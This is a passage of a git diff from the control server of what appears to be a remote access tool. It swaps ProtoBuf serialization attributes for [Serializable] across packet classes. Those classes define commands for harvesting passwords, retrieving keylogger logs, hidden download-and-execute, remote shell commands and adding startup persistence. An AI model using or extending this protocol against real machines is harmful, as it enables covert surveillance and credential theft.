a/Server/Core/Networking/ConnectionHandler.cs b/Server/Core/Networking/ConnectionHandler.cs index 25a6a7be..f5d3ed29 100644 --- a/Server/Core/Networking/ConnectionHandler.cs +++ b/Server/Core/Networking/ConnectionHandler.cs @@ -120,7 +120,7 @@ public ConnectionHandler() _server = new Server(); - _server.AddTypesToSerializer(typeof(IPacket), new Type[] + _server.AddTypesToSerializer(new Type[] { typeof (Packets.ServerPackets.GetAuthentication), typeof (Packets.ServerPackets.DoClientDisconnect), diff --git a/Server/Core/Networking/Server.cs b/Server/Core/Networking/Server.cs index 8c774a93..323ba67d 100644 --- a/Server/Core/Networking/Server.cs +++ b/Server/Core/Networking/Server.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.Linq; using System.Net; using System.Net.Sockets; using xServer.Core.Networking.Utilities; @@ -225,6 +226,8 @@ public Server() /// Port to listen for clients on. public void Listen(ushort port) { + if (PacketTypes.Count == 0) throw new Exception("No packet types added"); + this.Port = port; try { @@ -271,28 +274,13 @@ public void Listen(ushort port) } } - /// - /// Adds a Type to the serializer so a message can be properly serialized. - /// - /// The parent type. - /// Type to be added. - public void AddTypeToSerializer(Type parent, Type type) - { - if (type == null || parent == null) - throw new ArgumentNullException(); - - PacketTypes.Add(type); - } - /// /// Adds Types to the serializer. /// - /// The parent type, i.e.: IPacket /// Types to add. - public void AddTypesToSerializer(Type parent, params Type[] types) + public void AddTypesToSerializer(Type[] types) { - foreach (Type type in types) - AddTypeToSerializer(parent, type); + PacketTypes.AddRange(types.Where(t => t != null)); } /// diff --git a/Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs b/Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs index 2fa7bcd9..c1395538 100644 --- a/Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs +++ b/Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs @@ -1,27 +1,21 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class DoDownloadFileResponse : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string Filename { get; set; } - [ProtoMember(3)] public byte[] Block { get; set; } - [ProtoMember(4)] public int MaxBlocks { get; set; } - [ProtoMember(5)] public int CurrentBlock { get; set; } - [ProtoMember(6)] public string CustomMessage { get; set; } public DoDownloadFileResponse() diff --git a/Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs b/Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs index b076fdb7..0e8bf96b 100644 --- a/Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs +++ b/Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class DoShellExecuteResponse : IPacket { - [ProtoMember(1)] public string Output { get; set; } - [ProtoMember(2)] public bool IsError { get; private set; } public DoShellExecuteResponse() diff --git a/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs b/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs index af397ed4..d957f092 100644 --- a/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs @@ -1,45 +1,33 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetAuthenticationResponse : IPacket { - [ProtoMember(1)] public string Version { get; set; } - [ProtoMember(2)] public string OperatingSystem { get; set; } - [ProtoMember(3)] public string AccountType { get; set; } - [ProtoMember(4)] public string Country { get; set; } - [ProtoMember(5)] public string CountryCode { get; set; } - [ProtoMember(6)] public string Region { get; set; } - [ProtoMember(7)] public string City { get; set; } - [ProtoMember(8)] public int ImageIndex { get; set; } - [ProtoMember(9)] public string Id { get; set; } - [ProtoMember(10)] public string Username { get; set; } - [ProtoMember(11)] public string PCName { get; set; } - [ProtoMember(12)] public string Tag { get; set; } public GetAuthenticationResponse() diff --git a/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs b/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs index 499f5e1b..84b9c416 100644 --- a/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs @@ -1,21 +1,17 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetDesktopResponse : IPacket { - [ProtoMember(1)] public byte[] Image { get; set; } - [ProtoMember(2)] public int Quality { get; set; } - [ProtoMember(3)] public int Monitor { get; set; } - [ProtoMember(4)] public string Resolution { get; set; } public GetDesktopResponse() diff --git a/Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs b/Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs index eb05fe49..dbe3a86b 100644 --- a/Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetDirectoryResponse : IPacket { - [ProtoMember(1)] public string[] Files { get; set; } - [ProtoMember(2)] public string[] Folders { get; set; } - [ProtoMember(3)] public long[] FilesSize { get; set; } public GetDirectoryResponse() diff --git a/Server/Core/Packets/ClientPackets/GetDrivesResponse.cs b/Server/Core/Packets/ClientPackets/GetDrivesResponse.cs index a0d23f8b..9895c756 100644 --- a/Server/Core/Packets/ClientPackets/GetDrivesResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetDrivesResponse.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetDrivesResponse : IPacket { - [ProtoMember(1)] public string[] DriveDisplayName { get; set; } - [ProtoMember(2)] public string[] RootDirectory { get; set; } public GetDrivesResponse() diff --git a/Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs b/Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs index adacf5a9..9f159f6b 100644 --- a/Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs @@ -1,30 +1,23 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetKeyloggerLogsResponse : IPacket { - [ProtoMember(1)] public string Filename { get; set; } - [ProtoMember(2)] public byte[] Block { get; set; } - [ProtoMember(3)] public int MaxBlocks { get; set; } - [ProtoMember(4)] public int CurrentBlock { get; set; } - [ProtoMember(5)] public string CustomMessage { get; set; } - [ProtoMember(6)] public int Index { get; set; } - [ProtoMember(7)] public int FileCount { get; set; } public GetKeyloggerLogsResponse() { } diff --git a/Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs b/Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs index 30247c6a..ea40aca0 100644 --- a/Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetMonitorsResponse : IPacket { - [ProtoMember(1)] public int Number { get; set; } public GetMonitorsResponse() diff --git a/Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs b/Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs index 49b390ab..e1edc02f 100644 --- a/Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs @@ -1,13 +1,12 @@ using System.Collections.Generic; -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetPasswordsResponse : IPacket { - [ProtoMember(1)] public List Passwords { get; set; } public GetPasswordsResponse() diff --git a/Server/Core/Packets/ClientPackets/GetProcessesResponse.cs b/Server/Core/Packets/ClientPackets/GetProcessesResponse.cs index 32c39209..a1376795 100644 --- a/Server/Core/Packets/ClientPackets/GetProcessesResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetProcessesResponse.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetProcessesResponse : IPacket { - [ProtoMember(1)] public string[] Processes { get; set; } - [ProtoMember(2)] public int[] IDs { get; set; } - [ProtoMember(3)] public string[] Titles { get; set; } public GetProcessesResponse() diff --git a/Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs b/Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs index 4adcf323..68d43a70 100644 --- a/Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs @@ -1,13 +1,12 @@ using System.Collections.Generic; -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetStartupItemsResponse : IPacket { - [ProtoMember(1)] public List StartupItems { get; set; } public GetStartupItemsResponse() diff --git a/Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs b/Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs index f924a7ea..3101d541 100644 --- a/Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetSystemInfoResponse : IPacket { - [ProtoMember(1)] public string[] SystemInfos { get; set; } public GetSystemInfoResponse() diff --git a/Server/Core/Packets/ClientPackets/SetStatus.cs b/Server/Core/Packets/ClientPackets/SetStatus.cs index 5d859b65..89eeee2a 100644 --- a/Server/Core/Packets/ClientPackets/SetStatus.cs +++ b/Server/Core/Packets/ClientPackets/SetStatus.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class SetStatus : IPacket { - [ProtoMember(1)] public string Message { get; set; } public SetStatus() diff --git a/Server/Core/Packets/ClientPackets/SetStatusFileManager.cs b/Server/Core/Packets/ClientPackets/SetStatusFileManager.cs index c2a11c28..74a7d281 100644 --- a/Server/Core/Packets/ClientPackets/SetStatusFileManager.cs +++ b/Server/Core/Packets/ClientPackets/SetStatusFileManager.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class SetStatusFileManager : IPacket { - [ProtoMember(1)] public string Message { get; set; } - [ProtoMember(2)] public bool SetLastDirectorySeen { get; set; } public SetStatusFileManager() diff --git a/Server/Core/Packets/ClientPackets/SetUserStatus.cs b/Server/Core/Packets/ClientPackets/SetUserStatus.cs index 1e345b59..11b59180 100644 --- a/Server/Core/Packets/ClientPackets/SetUserStatus.cs +++ b/Server/Core/Packets/ClientPackets/SetUserStatus.cs @@ -1,13 +1,12 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Enums; namespace xServer.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class SetUserStatus : IPacket { - [ProtoMember(1)] public UserStatus Message { get; set; } public SetUserStatus() diff --git a/Server/Core/Packets/ServerPackets/DoClientDisconnect.cs b/Server/Core/Packets/ServerPackets/DoClientDisconnect.cs index 4384ff4d..74e3fcc9 100644 --- a/Server/Core/Packets/ServerPackets/DoClientDisconnect.cs +++ b/Server/Core/Packets/ServerPackets/DoClientDisconnect.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientDisconnect : IPacket { public DoClientDisconnect() diff --git a/Server/Core/Packets/ServerPackets/DoClientReconnect.cs b/Server/Core/Packets/ServerPackets/DoClientReconnect.cs index 998d9cf1..0b7554d9 100644 --- a/Server/Core/Packets/ServerPackets/DoClientReconnect.cs +++ b/Server/Core/Packets/ServerPackets/DoClientReconnect.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientReconnect : IPacket { public DoClientReconnect() diff --git a/Server/Core/Packets/ServerPackets/DoClientUninstall.cs b/Server/Core/Packets/ServerPackets/DoClientUninstall.cs index 0a4505f1..d708acca 100644 --- a/Server/Core/Packets/ServerPackets/DoClientUninstall.cs +++ b/Server/Core/Packets/ServerPackets/DoClientUninstall.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientUninstall : IPacket { public DoClientUninstall() diff --git a/Server/Core/Packets/ServerPackets/DoClientUpdate.cs b/Server/Core/Packets/ServerPackets/DoClientUpdate.cs index 2cad1772..87485114 100644 --- a/Server/Core/Packets/ServerPackets/DoClientUpdate.cs +++ b/Server/Core/Packets/ServerPackets/DoClientUpdate.cs @@ -1,27 +1,21 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientUpdate : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string DownloadURL { get; set; } - [ProtoMember(3)] public string FileName { get; set; } - [ProtoMember(4)] public byte[] Block { get; set; } - [ProtoMember(5)] public int MaxBlocks { get; set; } - [ProtoMember(6)] public int CurrentBlock { get; set; } public DoClientUpdate() diff --git a/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs b/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs index be083633..63a8d553 100644 --- a/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs +++ b/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoDownloadAndExecute : IPacket { - [ProtoMember(1)] public string URL { get; set; } - [ProtoMember(2)] public bool RunHidden { get; set; } public DoDownloadAndExecute() diff --git a/Server/Core/Packets/ServerPackets/DoDownloadFile.cs b/Server/Core/Packets/ServerPackets/DoDownloadFile.cs index 692f9417..0f6b32e4 100644 --- a/Server/Core/Packets/ServerPackets/DoDownloadFile.cs +++ b/Server/Core/Packets/ServerPackets/DoDownloadFile.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoDownloadFile : IPacket { - [ProtoMember(1)] public string RemotePath { get; set; } - [ProtoMember(2)] public int ID { get; set; } public DoDownloadFile() diff --git a/Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs b/Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs index 46fa09b1..415c07f2 100644 --- a/Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs +++ b/Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoDownloadFileCancel : IPacket { - [ProtoMember(1)] public int ID { get; set; } public DoDownloadFileCancel() diff --git a/Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs b/Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs index e8a6ee50..5d6251e6 100644 --- a/Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs +++ b/Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoKeyboardEvent : IPacket { - [ProtoMember(1)] public byte Key { get; set; } - [ProtoMember(2)] public bool KeyDown { get; set; } public DoKeyboardEvent() diff --git a/Server/Core/Packets/ServerPackets/DoMouseEvent.cs b/Server/Core/Packets/ServerPackets/DoMouseEvent.cs index 08a50e0d..b78a7738 100644 --- a/Server/Core/Packets/ServerPackets/DoMouseEvent.cs +++ b/Server/Core/Packets/ServerPackets/DoMouseEvent.cs @@ -1,25 +1,20 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Enums; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoMouseEvent : IPacket { - [ProtoMember(1)] public MouseAction Action { get; set; } - [ProtoMember(2)] public bool IsMouseDown { get; set; } - [ProtoMember(3)] public int X { get; set; } - [ProtoMember(4)] public int Y { get; set; } - [ProtoMember(5)] public int MonitorIndex { get; set; } public DoMouseEvent() diff --git a/Server/Core/Packets/ServerPackets/DoPathDelete.cs b/Server/Core/Packets/ServerPackets/DoPathDelete.cs index 9b38c0ce..be7576b5 100644 --- a/Server/Core/Packets/ServerPackets/DoPathDelete.cs +++ b/Server/Core/Packets/ServerPackets/DoPathDelete.cs @@ -1,16 +1,14 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Enums; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoPathDelete : IPacket { - [ProtoMember(1)] public string Path { get; set; } - [ProtoMember(2)] public PathType PathType { get; set; } public DoPathDelete() diff --git a/Server/Core/Packets/ServerPackets/DoPathRename.cs b/Server/Core/Packets/ServerPackets/DoPathRename.cs index 0eb22a60..43a714f8 100644 --- a/Server/Core/Packets/ServerPackets/DoPathRename.cs +++ b/Server/Core/Packets/ServerPackets/DoPathRename.cs @@ -1,19 +1,16 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Enums; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoPathRename : IPacket { - [ProtoMember(1)] public string Path { get; set; } - [ProtoMember(2)] public string NewPath { get; set; } - [ProtoMember(3)] public PathType PathType { get; set; } public DoPathRename() diff --git a/Server/Core/Packets/ServerPackets/DoProcessKill.cs b/Server/Core/Packets/ServerPackets/DoProcessKill.cs index 974a7329..8ef05d7c 100644 --- a/Server/Core/Packets/ServerPackets/DoProcessKill.cs +++ b/Server/Core/Packets/ServerPackets/DoProcessKill.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoProcessKill : IPacket { - [ProtoMember(1)] public int PID { get; set; } public DoProcessKill() diff --git a/Server/Core/Packets/ServerPackets/DoProcessStart.cs b/Server/Core/Packets/ServerPackets/DoProcessStart.cs index 451cdecd..f79b3998 100644 --- a/Server/Core/Packets/ServerPackets/DoProcessStart.cs +++ b/Server/Core/Packets/ServerPackets/DoProcessStart.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoProcessStart : IPacket { - [ProtoMember(1)] public string Processname { get; set; } public DoProcessStart() diff --git a/Server/Core/Packets/ServerPackets/DoShellExecute.cs b/Server/Core/Packets/ServerPackets/DoShellExecute.cs index e01201e7..88480d0a 100644 --- a/Server/Core/Packets/ServerPackets/DoShellExecute.cs +++ b/Server/Core/Packets/ServerPackets/DoShellExecute.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoShellExecute : IPacket { - [ProtoMember(1)] public string Command { get; set; } public DoShellExecute() diff --git a/Server/Core/Packets/ServerPackets/DoShowMessageBox.cs b/Server/Core/Packets/ServerPackets/DoShowMessageBox.cs index f2f23091..aa7aefa3 100644 --- a/Server/Core/Packets/ServerPackets/DoShowMessageBox.cs +++ b/Server/Core/Packets/ServerPackets/DoShowMessageBox.cs @@ -1,21 +1,17 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoShowMessageBox : IPacket { - [ProtoMember(1)] public string Caption { get; set; } - [ProtoMember(2)] public string Text { get; set; } - [ProtoMember(3)] public string MessageboxButton { get; set; } - [ProtoMember(4)] public string MessageboxIcon { get; set; } public DoShowMessageBox() diff --git a/Server/Core/Packets/ServerPackets/DoShutdownAction.cs b/Server/Core/Packets/ServerPackets/DoShutdownAction.cs index 22edc951..c87e2983 100644 --- a/Server/Core/Packets/ServerPackets/DoShutdownAction.cs +++ b/Server/Core/Packets/ServerPackets/DoShutdownAction.cs @@ -1,13 +1,12 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; using xServer.Enums; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoShutdownAction : IPacket { - [ProtoMember(1)] public ShutdownAction Action { get; set; } public DoShutdownAction() diff --git a/Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs b/Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs index 61823b24..d8a52cde 100644 --- a/Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs +++ b/Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoStartupItemAdd : IPacket { - [ProtoMember(1)] public string Name { get; set; } - [ProtoMember(2)] public string Path { get; set; } - [ProtoMember(3)] public int Type { get; set; } public DoStartupItemAdd() diff --git a/Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs b/Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs index 0231d4a1..51c6b271 100644 --- a/Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs +++ b/Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoStartupItemRemove : IPacket { - [ProtoMember(1)] public string Name { get; set; } - [ProtoMember(2)] public string Path { get; set; } - [ProtoMember(3)] public int Type { get; set; } public DoStartupItemRemove() diff --git a/Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs b/Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs index e2f3d632..e1bd4d2c 100644 --- a/Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs +++ b/Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs @@ -1,27 +1,21 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoUploadAndExecute : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string FileName { get; set; } - [ProtoMember(3)] public byte[] Block { get; set; } - [ProtoMember(4)] public int MaxBlocks { get; set; } - [ProtoMember(5)] public int CurrentBlock { get; set; } - [ProtoMember(6)] public bool RunHidden { get; set; } public DoUploadAndExecute() diff --git a/Server/Core/Packets/ServerPackets/DoUploadFile.cs b/Server/Core/Packets/ServerPackets/DoUploadFile.cs index cc266224..ec48aaf7 100644 --- a/Server/Core/Packets/ServerPackets/DoUploadFile.cs +++ b/Server/Core/Packets/ServerPackets/DoUploadFile.cs @@ -1,24 +1,19 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoUploadFile : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string RemotePath { get; set; } - [ProtoMember(3)] public byte[] Block { get; set; } - [ProtoMember(4)] public int MaxBlocks { get; set; } - [ProtoMember(5)] public int CurrentBlock { get; set; } public DoUploadFile() diff --git a/Server/Core/Packets/ServerPackets/DoVisitWebsite.cs b/Server/Core/Packets/ServerPackets/DoVisitWebsite.cs index 72861800..bdfee91c 100644 --- a/Server/Core/Packets/ServerPackets/DoVisitWebsite.cs +++ b/Server/Core/Packets/ServerPackets/DoVisitWebsite.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoVisitWebsite : IPacket { - [ProtoMember(1)] public string URL { get; set; } - [ProtoMember(2)] public bool Hidden { get; set; } public DoVisitWebsite() diff --git a/Server/Core/Packets/ServerPackets/GetAuthentication.cs b/Server/Core/Packets/ServerPackets/GetAuthentication.cs index 98a176e4..5c54c5dd 100644 --- a/Server/Core/Packets/ServerPackets/GetAuthentication.cs +++ b/Server/Core/Packets/ServerPackets/GetAuthentication.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetAuthentication : IPacket { public GetAuthentication() diff --git a/Server/Core/Packets/ServerPackets/GetDesktop.cs b/Server/Core/Packets/ServerPackets/GetDesktop.cs index ef08e2e0..cfcaeb19 100644 --- a/Server/Core/Packets/ServerPackets/GetDesktop.cs +++ b/Server/Core/Packets/ServerPackets/GetDesktop.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetDesktop : IPacket { - [ProtoMember(1)] public int Quality { get; set; } - [ProtoMember(2)] public int Monitor { get; set; } public GetDesktop() diff --git a/Server/Core/Packets/ServerPackets/GetDirectory.cs b/Server/Core/Packets/ServerPackets/GetDirectory.cs index aab13168..23e8c9bf 100644 --- a/Server/Core/Packets/ServerPackets/GetDirectory.cs +++ b/Server/Core/Packets/ServerPackets/GetDirectory.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetDirectory : IPacket { - [ProtoMember(1)] public string RemotePath { get; set; } public GetDirectory() diff --git a/Server/Core/Packets/ServerPackets/GetDrives.cs b/Server/Core/Packets/ServerPackets/GetDrives.cs index 44e104e1..fde1024e 100644 --- a/Server/Core/Packets/ServerPackets/GetDrives.cs +++ b/Server/Core/Packets/ServerPackets/GetDrives.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetDrives : IPacket { public GetDrives() diff --git a/Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs b/Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs index c7388786..194fb68e 100644 --- a/Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs +++ b/Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetKeyloggerLogs : IPacket { public GetKeyloggerLogs() { } diff --git a/Server/Core/Packets/ServerPackets/GetMonitors.cs b/Server/Core/Packets/ServerPackets/GetMonitors.cs index 320c4a76..40cbf3ae 100644 --- a/Server/Core/Packets/ServerPackets/GetMonitors.cs +++ b/Server/Core/Packets/ServerPackets/GetMonitors.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetMonitors : IPacket { public GetMonitors() diff --git a/Server/Core/Packets/ServerPackets/GetPasswords.cs b/Server/Core/Packets/ServerPackets/GetPasswords.cs index ccc74aa0..ac5a933b 100644 --- a/Server/Core/Packets/ServerPackets/GetPasswords.cs +++ b/Server/Core/Packets/ServerPackets/GetPasswords.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetPasswords : IPacket { public GetPasswords() diff --git a/Server/Core/Packets/ServerPackets/GetProcesses.cs b/Server/Core/Packets/ServerPackets/GetProcesses.cs index 94e63796..48a377f1 100644 --- a/Server/Core/Packets/ServerPackets/GetProcesses.cs +++ b/Server/Core/Packets/ServerPackets/GetProcesses.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetProcesses : IPacket { public GetProcesses() diff --git a/Server/Core/Packets/ServerPackets/GetStartupItems.cs b/Server/Core/Packets/ServerPackets/GetStartupItems.cs index 4f3dc4fe..2905761b 100644 --- a/Server/Core/Packets/ServerPackets/GetStartupItems.cs +++ b/Server/Core/Packets/ServerPackets/GetStartupItems.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetStartupItems : IPacket { public GetStartupItems() diff --git a/Server/Core/Packets/ServerPackets/GetSystemInfo.cs b/Server/Core/Packets/ServerPackets/GetSystemInfo.cs index 8c1ac8a7..b192ba8a 100644 --- a/Server/Core/Packets/ServerPackets/GetSystemInfo.cs +++ b/Server/Core/Packets/ServerPackets/GetSystemInfo.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class 